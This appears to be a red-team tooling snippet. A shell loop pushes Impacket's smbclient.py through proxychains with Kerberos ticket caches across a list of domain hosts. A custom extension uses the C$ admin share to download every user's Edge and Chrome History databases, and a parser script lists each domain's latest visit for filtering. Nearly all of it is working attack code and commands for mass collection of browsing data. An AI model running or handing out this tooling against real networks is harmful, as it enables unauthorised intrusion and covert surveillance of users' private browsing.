$ cat get_browser_history.cmd
use c$
getBrowserHistory edge chrome
$ for comp in `cat comps.txt`; do KRB5CCNAME=tickets/"`echo $comp | cut -d'.' -f1`".ccache proxychains4 -q smbclient.py -k -no-pass $comp -inputfile get_browser_history.cmd; sleep 2; done
Impacket's smbclient.py extension and parsing code to extract latest visits per a domain from urls table:
getBrowserHistory.py
def do_getBrowserHistory(self, browsers):
browsers = [name.lower() for name in browsers.split()]
for browser in browsers:
if browser not in ('edge', 'chrome'):
LOG.error(f'Unsupported browser: {browser}')
return False
usernames = []
try:
for item in self.smb.listPath(self.share, '\\Users\\*'):
username = item.get_longname()
if item.is_directory() and username not in ('.', '..'):
usernames.append(username)
except Exception as e:
LOG.error(f'Failed to enumerate user homes: {e}')
return False
browser_configs = dict.fromkeys(browsers, [])
for browser in browsers:
if browser == 'edge':
browser_configs[browser] = ('msedge.exe', 'Microsoft\\Edge')
elif browser == 'chrome':
browser_configs[browser] = ('chrome.exe', 'Google\\Chrome')
history_to_get = dict.fromkeys(browsers, [])
for browser, config in browser_configs.items():
for username in usernames:
browser_history_path = f'\\Users\\{username}\\AppData\\Local\\{config[1]}\\User Data\\Default\\History'
try:
_ = self.smb.listPath(self.share, browser_history_path)
except:
pass
else:
history_to_get[browser].append((browser_history_path, f'{username}_Default'))
browser_history_path = f'\\Users\\{username}\\AppData\\Local\\{config[1]}\\User Data\\Profile*'
try:
for profile in self.smb.listPath(self.share, browser_history_path):
profile = profile.get_longname()
browser_history_path = browser_history_path.rsplit('\\', 1)[0] + f'\\{profile}\\History'
history_to_get[browser].append((browser_history_path, f'{username}_{profile.replace(" ", "")}'))
except:
pass
for browser, histories in history_to_get.items():
if histories:
for history in histories:
history_path, username = history
self.do_get(history_path)
new_history_name = f'history_{self.target_name}_{username}_{browser}_{datetime.now().strftime("%Y%m%dT%H%M%S")}.sqlite'
os.rename('History', new_history_name)
if Path(new_history_name).exists():
LOG.info(f'Downloaded "C:{history_path}" to "{new_history_name}"')
parse_urls.py
# python -u parse_urls.py | grep -i megacorp.com | less
import os
import sqlite3
from urllib.parse import urlparse
from datetime import datetime, timezone
def convert_chromium_time(webkit_timestamp):
try:
unix_timestamp = webkit_timestamp / 1000000 - 11644473600
return datetime.fromtimestamp(unix_timestamp, timezone.utc)
except Exception as e:
return None
def extract_domain_latest_visit(db_path):
domain_latest = {}
try:
conn = sqlite3.connect(db_path)
cursor = conn.cursor()
query = """
SELECT urls.url, visits.visit_time
FROM urls
JOIN visits ON urls.id = visits.url;
"""
cursor.execute(query)
rows = cursor.fetchall()
for url, visit_time in rows:
parsed = urlparse(url)
domain = parsed.netloc
dt = convert_chromium_time(visit_time)
if dt is None:
continue
if domain not in domain_latest or dt > domain_latest[domain]:
domain_latest[domain] = dt
except Exception as e:
print(f'[!] Failed to process DB "{db_path}": {e}')
finally:
if 'conn' in locals():
conn.close()
return domain_latest
def main():
for db in [f for f in os.listdir('.') if os.path.isfile(f) and f.endswith('.sqlite')]:
domain_latest = extract_domain_latest_visit(db)
if domain_latest:
for domain, dt in sorted(domain_latest.items(), key=lambda x: x[1], reverse=True):
print(f'{db}: {domain} ({dt.strftime("%Y-%m-%d %H:%M:%S")})')
if __name__ == '__main__':
main()